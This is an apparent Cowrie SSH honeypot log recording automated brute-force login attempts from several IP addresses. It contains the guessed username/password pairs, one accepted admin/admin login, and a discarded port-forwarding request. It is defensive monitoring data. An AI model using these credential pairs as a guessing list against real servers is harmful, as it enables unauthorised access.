{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:12.498343Z","src_ip":"165.154.137.186","session":"919f3e8b5676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:12.759283Z","src_ip":"165.154.137.186","session":"919f3e8b5676","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":50962,"dst_ip":"10.17.0.5","dst_port":22,"session":"e21d48645f6c","protocol":"ssh","message":"New connection: 165.154.137.186:50962 (10.17.0.5:22) [session: e21d48645f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:13.314926Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:13.319093Z","src_ip":"165.154.137.186","session":"e21d48645f6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@wsx","message":"login attempt [root/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:13.547262Z","src_ip":"165.154.137.186","session":"919f3e8b5676","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:13.579648Z","src_ip":"165.154.137.186","session":"e21d48645f6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root2026","message":"login attempt [root/root2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:14.339596Z","src_ip":"2.57.122.209","session":"4cde2caf650d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"centos","message":"login attempt [centos/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:14.363054Z","src_ip":"165.154.137.186","session":"e21d48645f6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:14.810373Z","src_ip":"165.154.137.186","session":"919f3e8b5676","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:15.624593Z","src_ip":"165.154.137.186","session":"e21d48645f6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.5","message":"Connection lost after 4.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:15.880995Z","src_ip":"2.57.122.209","session":"4cde2caf650d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":54572,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ae75bf79572","protocol":"ssh","message":"New connection: 165.154.137.186:54572 (10.17.0.5:22) [session: 5ae75bf79572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:23.694266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:23.697893Z","src_ip":"165.154.137.186","session":"5ae75bf79572","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:23.960111Z","src_ip":"165.154.137.186","session":"5ae75bf79572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":54582,"dst_ip":"10.17.0.5","dst_port":22,"session":"86b787f1e4b8","protocol":"ssh","message":"New connection: 165.154.137.186:54582 (10.17.0.5:22) [session: 86b787f1e4b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:24.373713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:24.377392Z","src_ip":"165.154.137.186","session":"86b787f1e4b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:24.642412Z","src_ip":"165.154.137.186","session":"86b787f1e4b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:24.747753Z","src_ip":"165.154.137.186","session":"5ae75bf79572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123456","message":"login attempt [testuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:25.438708Z","src_ip":"165.154.137.186","session":"86b787f1e4b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:26.011719Z","src_ip":"165.154.137.186","session":"5ae75bf79572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:26.705075Z","src_ip":"165.154.137.186","session":"86b787f1e4b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:31.193087Z","src_ip":"8.210.75.243","session":"4946b256d961","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":55762,"dst_ip":"10.17.0.5","dst_port":22,"session":"44d306e208d3","protocol":"ssh","message":"New connection: 165.154.137.186:55762 (10.17.0.5:22) [session: 44d306e208d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:31.708063Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:31.710836Z","src_ip":"165.154.137.186","session":"44d306e208d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:31.980280Z","src_ip":"165.154.137.186","session":"44d306e208d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:32.791511Z","src_ip":"165.154.137.186","session":"44d306e208d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:34.078242Z","src_ip":"165.154.137.186","session":"44d306e208d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":34386,"dst_ip":"159.203.135.109","dst_port":22,"session":"63bfadb85cb8","protocol":"ssh","message":"New connection: 143.20.185.207:34386 (159.203.135.109:22) [session: 63bfadb85cb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:34.421960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:34.425794Z","src_ip":"143.20.185.207","session":"63bfadb85cb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:34.556539Z","src_ip":"143.20.185.207","session":"63bfadb85cb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSA8VCPU16GBAMD","message":"login attempt [root/RASYAXINSA8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:34.961034Z","src_ip":"143.20.185.207","session":"63bfadb85cb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:36.082511Z","src_ip":"143.20.185.207","session":"63bfadb85cb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":34958,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2f7b43f0105","protocol":"ssh","message":"New connection: 103.27.238.116:34958 (10.17.0.5:22) [session: f2f7b43f0105]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:36.838880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:36.841861Z","src_ip":"103.27.238.116","session":"f2f7b43f0105","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:37.114868Z","src_ip":"103.27.238.116","session":"f2f7b43f0105","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"50945590","message":"login attempt [root/50945590] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:37.934029Z","src_ip":"103.27.238.116","session":"f2f7b43f0105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":27886,"dst_ip":"159.203.135.109","dst_port":22,"session":"22ddaa06b9d4","protocol":"ssh","message":"New connection: 176.53.159.196:27886 (159.203.135.109:22) [session: 22ddaa06b9d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:38.586385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:38.589469Z","src_ip":"176.53.159.196","session":"22ddaa06b9d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:38.684461Z","src_ip":"176.53.159.196","session":"22ddaa06b9d4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:38.973462Z","src_ip":"176.53.159.196","session":"22ddaa06b9d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:39.069623Z","session":"22ddaa06b9d4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:39.166482Z","src_ip":"176.53.159.196","session":"22ddaa06b9d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:57:39.207985Z","src_ip":"103.27.238.116","session":"f2f7b43f0105","protocol":"ssh"}
